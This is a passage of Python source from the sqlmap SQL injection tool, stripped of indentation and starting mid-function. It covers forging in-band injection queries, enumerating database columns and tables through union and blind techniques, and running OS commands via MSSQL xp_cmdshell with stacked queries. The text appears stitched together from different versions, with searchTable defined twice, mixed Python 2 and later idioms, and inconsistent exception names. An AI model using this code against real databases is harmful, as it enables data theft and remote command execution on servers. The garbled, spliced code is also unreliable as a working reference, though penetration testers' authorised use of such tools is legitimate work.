countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, None)
if not stopLimit:
if not count or not count.isdigit():
output = unionUse(countedExpression, direct=True)
if output:
count = parseUnionPage(output, countedExpression)
if count and count.isdigit() and int(count) > 0:
stopLimit = int(count)
infoMsg = "the SQL query provided returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
for num in xrange(startLimit, stopLimit):
if kb.dbms == DBMS.MSSQL:
field = expressionFieldsList[0]
elif kb.dbms == DBMS.ORACLE:
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = resume(limitedExpr, None)
if not output:
output = unionUse(limitedExpr, direct=True, unescape=False)
if output:
value += output
parseUnionPage(output, limitedExpr)
return value
value = unionUse(expression, direct=True, unescape=False)
else:
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression, nullChar=nullChar)
payload = agent.payload(newValue=query)
debugMsg = "query: %s" % query
logger.debug(debugMsg)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
reqCount += 1
if kb.misc.start not in resultPage or kb.misc.stop not in resultPage:
return
# Parse the returned page to get the exact inband
# sql injection output
startPosition = resultPage.index(kb.misc.start)
endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop)
value = getUnicode(resultPage[startPosition:endPosition])
duration = calculateDeltaSeconds(start)
debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.debug(debugMsg)
return value
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise sqlmapMissingMandatoryOptionException, errMsg
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.col = conf.col.upper()
colList = conf.col.split(",")
else:
colList = []
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
colList = filter(None, colList)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
if conf.db in kb.data.cachedTables:
tblList = kb.data.cachedTables[conf.db]
else:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
tblList = list(tblList)
else:
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
raise sqlmapNoneDataException, errMsg
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
if bruteForce is None:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce or colList:
resumeAvailable = False
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}
return kb.data.cachedColumns
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
if len(colList) > 0:
if colTuple is None:
colConsider, colCondParam = self.likeOrExact("column")
else:
colConsider, colCondParam = colTuple
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if colConsider == "1":
infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
condQuery = ""
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl.upper())
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.inband.query % tbl
value = inject.getValue(query, blind=False, time=False)
if Backend.isDbms(DBMS.SQLITE):
parseSqliteTableSchema(unArrayizeValue(value))
elif not isNoneValue(value):
table = {}
columns = {}
for columnData in value:
if not isNoneValue(columnData):
name = safeSQLIdentificatorNaming(columnData[0])
if name:
if len(columnData) == 1:
columns[name] = ""
else:
columns[name] = columnData[1]
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
elif isInferenceAvailable() and not conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % conf.db
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
if len(colList) > 0:
if colTuple is None:
colConsider, colCondParam = self.likeOrExact("column")
else:
colConsider, colCondParam = colTuple
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if colConsider == "1":
infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
condQuery = ""
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl.upper())
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.count % (conf.db, conf.db, \
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.count % (tbl)
query += condQuery
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % tbl
value = inject.getValue(query, union=False, error=False)
parseSqliteTableSchema(value)
return kb.data.cachedColumns
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of columns "
errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.error(errMsg)
continue
table = {}
columns = {}
for index in getLimitRange(count):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl.upper())
query += condQuery
field = None
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index))
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (tbl)
query += condQuery
field = None
query = agent.limitQuery(index, query, field, field)
column = inject.getValue(query, union=False, error=False)
if not isNoneValue(column):
if not onlyColNames:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column)
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (tbl, column)
colType = inject.getValue(query, union=False, error=False)
if Backend.isDbms(DBMS.FIREBIRD):
colType = FIREBIRD_TYPES.get(colType, colType)
column = safeSQLIdentificatorNaming(column)
columns[column] = colType
else:
column = safeSQLIdentificatorNaming(column)
columns[column] = None
if columns:
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
if not kb.data.cachedColumns:
errMsg = "unable to retrieve column names for "
errMsg += ("table '%s' " % tblList[0]) if len(tblList) == 1 else "any table "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.error(errMsg)
if bruteForce is None:
return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True)
return kb.data.cachedColumns
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
output = None
if conf.direct:
output = self.xpCmdshellExecCmd(cmd)
if output and isinstance(output, (list, tuple)):
new_output = ""
for line in output:
if line == "NULL":
new_output += "\n"
else:
new_output += "%s\n" % line.strip("\r")
output = new_output
else:
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
# When user provides DBMS credentials (with --dbms-cred), the
# command standard output is redirected to a temporary file
# The file needs to be copied to the support table,
# 'sqlmapoutput'
if conf.dbmsCred:
inject.goStacked(
"BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')"
% (self.cmdTblName, self.tmpFile, randomStr(10),
randomStr(10)))
self.delRemoteFile(self.tmpFile)
query = "SELECT %s FROM %s ORDER BY id" % (self.tblField,
self.cmdTblName)
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
output = inject.getValue(query,
resumeValue=False,
blind=False,
time=False)
if (output is None) or len(output) == 0 or output[0] is None:
output = []
count = inject.getValue("SELECT COUNT(id) FROM %s" %
self.cmdTblName,
resumeValue=False,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(count):
for index in getLimitRange(count):
query = agent.limitQuery(index, query, self.tblField)
output.append(
inject.getValue(query,
union=False,
error=False,
resumeValue=False))
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if output and isListLike(output) and len(output) > 1:
_ = ""
lines = [
line for line in flattenValue(output) if line is not None
]
for i in xrange(len(lines)):
line = lines[i] or ""
if line is None or i in (0, len(lines) -
1) and not line.strip():
continue
_ += "%s\n" % line
output = _.rstrip('\n')
return output
def searchColumn(self):
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
if bruteForce:
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
regex = '|'.join(conf.col.split(','))
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex))
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("n", "N"):
self.dumpAll()
return
rootQuery = queries[Backend.getIdentifiedDbms()].search_column
foundCols = {}
dbs = {}
whereDbsQuery = ""
whereTblsQuery = ""
infoMsgTbl = ""
infoMsgDb = ""
colList = conf.col.split(",")
if conf.excludeCol:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
origTbl = conf.tbl
origDb = conf.db
colCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblCond = rootQuery.inband.condition3
colConsider, colCondParam = self.likeOrExact("column")
for column in colList:
values = []
column = safeSQLIdentificatorNaming(column)
conf.db = origDb
conf.tbl = origTbl
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
column = column.upper()
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
foundCols[column] = {}
if conf.tbl:
_ = conf.tbl.split(",")
whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _))
if conf.db and conf.db != CURRENT_DB:
_ = conf.db.split(",")
whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _))
elif conf.excludeSysDbs:
whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
logger.info(infoMsg2)
else:
infoMsgDb = " across all databases"
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if not all((conf.db, conf.tbl)):
# Enumerate tables containing the column provided if
# either of database(s) or table(s) is not provided
query = rootQuery.inband.query
query = query % (colQuery + whereDbsQuery + whereTblsQuery)
values = inject.getValue(query, blind=False, time=False)
else:
# Assume provided databases' tables contain the
# column(s) provided
values = []
for db in conf.db.split(","):
for tbl in conf.tbl.split(","):
values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)])
for db, tbl in filterPairValues(values):
db = safeSQLIdentificatorNaming(db)
tbls = tbl.split(",") if not isNoneValue(tbl) else []
for tbl in tbls:
tbl = safeSQLIdentificatorNaming(tbl, True)
if db is None or tbl is None:
continue
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
if db not in dbs:
dbs[db] = {}
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
if db in foundCols[column]:
foundCols[column][db].append(tbl)
else:
foundCols[column][db] = [tbl]
kb.data.cachedColumns = {}
if not values and isInferenceAvailable() and not conf.direct:
if not conf.db:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
query = rootQuery.blind.count
query = query % (colQuery + whereDbsQuery + whereTblsQuery)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
logger.warn("%s%s" % (warnMsg, infoMsgTbl))
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query = query % (colQuery + whereDbsQuery + whereTblsQuery)
query = agent.limitQuery(index, query)
db = unArrayizeValue(inject.getValue(query, union=False, error=False))
db = safeSQLIdentificatorNaming(db)
if db not in dbs:
dbs[db] = {}
if db not in foundCols[column]:
foundCols[column][db] = []
else:
for db in conf.db.split(","):
db = safeSQLIdentificatorNaming(db)
if db not in foundCols[column]:
foundCols[column][db] = []
origDb = conf.db
origTbl = conf.tbl
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
for db in dbData:
conf.db = origDb
conf.tbl = origTbl
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), unsafeSQLIdentificatorNaming(db))
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % colQuery
query += whereTblsQuery
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query2
if query.endswith("'%s')"):
query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery)
else:
query += " AND %s" % (colQuery + whereTblsQuery)
query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db))
query = agent.limitQuery(index, query)
tbl = unArrayizeValue(inject.getValue(query, union=False, error=False))
kb.hintValue = tbl
tbl = safeSQLIdentificatorNaming(tbl, True)
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
if db not in dbs:
dbs[db] = {}
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
if db in foundCols[column]:
foundCols[column][db].append(tbl)
else:
foundCols[column][db] = [tbl]
if dbs:
conf.dumper.dbColumns(foundCols, colConsider, dbs)
self.dumpFoundColumn(dbs, foundCols, colConsider)
else:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)
def searchTable(self):
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
if bruteForce:
message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) else "[y/N/q]")
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
if choice == 'N':
return
elif choice == 'Q':
raise SqlmapUserQuitException
else:
regex = '|'.join(conf.tbl.split(','))
return tableExists(paths.COMMON_TABLES, regex)
foundTbls = {}
tblList = conf.tbl.split(',')
rootQuery = queries[Backend.getIdentifiedDbms()].search_table
tblCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblConsider, tblCondParam = self.likeOrExact("table")
for tbl in tblList:
values = []
tbl = safeSQLIdentificatorNaming(tbl, True)
if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
tbl = tbl.upper()
conf.db = conf.db.upper() if conf.db else conf.db
infoMsg = "searching table"
if tblConsider == '1':
infoMsg += "s LIKE"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if dbCond and conf.db:
_ = conf.db.split(',')
whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
elif conf.excludeSysDbs:
whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(msg)
else:
whereDbsQuery = ""
logger.info(infoMsg)
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query
query = query % (tblQuery + whereDbsQuery)
values = inject.getValue(query, blind=False, time=False)
if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
newValues = []
if isinstance(values, six.string_types):
values = [values]
for value in values:
dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird"
newValues.append(["%s%s" % (dbName, METADB_SUFFIX), value])
values = newValues
for foundDb, foundTbl in filterPairValues(values):
foundDb = safeSQLIdentificatorNaming(foundDb)
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
if foundDb is None or foundTbl is None:
continue
if foundDb in foundTbls:
foundTbls[foundDb].append(foundTbl)
else:
foundTbls[foundDb] = [foundTbl]
if not values and isInferenceAvailable() and not conf.direct:
if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
if len(whereDbsQuery) == 0:
infoMsg = "fetching number of databases with table"
if tblConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
query = rootQuery.blind.count
query = query % (tblQuery + whereDbsQuery)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no databases have table"
if tblConsider == "1":
warnMsg += "s LIKE"
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query = query % (tblQuery + whereDbsQuery)
query = agent.limitQuery(index, query)
foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False))
foundDb = safeSQLIdentificatorNaming(foundDb)
if foundDb not in foundTbls:
foundTbls[foundDb] = []
if tblConsider == "2":
foundTbls[foundDb].append(tbl)
if tblConsider == "2":
continue
else:
for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),):
db = safeSQLIdentificatorNaming(db)
if db not in foundTbls:
foundTbls[db] = []
else:
dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird"
foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = []
for db in foundTbls:
db = safeSQLIdentificatorNaming(db)
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db))
logger.info(infoMsg)
query = rootQuery.blind.count2
if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
query = query % unsafeSQLIdentificatorNaming(db)
query += " AND %s" % tblQuery
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s LIKE"
warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query2
if " ORDER BY " in query:
query = query.replace(" ORDER BY ", "%s ORDER BY " % (" AND %s" % tblQuery))
elif query.endswith("'%s')"):
query = query[:-1] + " AND %s)" % tblQuery
else:
query += " AND %s" % tblQuery
if Backend.isDbms(DBMS.FIREBIRD):
query = safeStringFormat(query, index)
if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db))
if not Backend.isDbms(DBMS.FIREBIRD):
query = agent.limitQuery(index, query)
foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(foundTbl):
kb.hintValue = foundTbl
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
foundTbls[db].append(foundTbl)
for db in list(foundTbls.keys()):
if isNoneValue(foundTbls[db]):
del foundTbls[db]
if not foundTbls:
warnMsg = "no databases contain any of the provided tables"
logger.warn(warnMsg)
return
conf.dumper.dbTables(foundTbls)
self.dumpFoundTables(foundTbls)
def searchTable(self):
foundTbls = {}
tblList = conf.tbl.split(",")
rootQuery = queries[Backend.getIdentifiedDbms()].search_table
tblCond = rootQuery.inband.condition
tblConsider, tblCondParam = self.likeOrExact("table")
if conf.db and conf.db != CURRENT_DB:
enumDbs = conf.db.split(",")
elif not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
for db in enumDbs:
db = safeSQLIdentificatorNaming(db)
foundTbls[db] = []
for tbl in tblList:
tbl = safeSQLIdentificatorNaming(tbl, True)
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)
for db in foundTbls.keys():
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query.replace("%s", db)
query += tblQuery
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
if isinstance(values, basestring):
values = [values]
for foundTbl in values:
if foundTbl is None:
continue
foundTbls[db].append(foundTbl)
else:
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db))
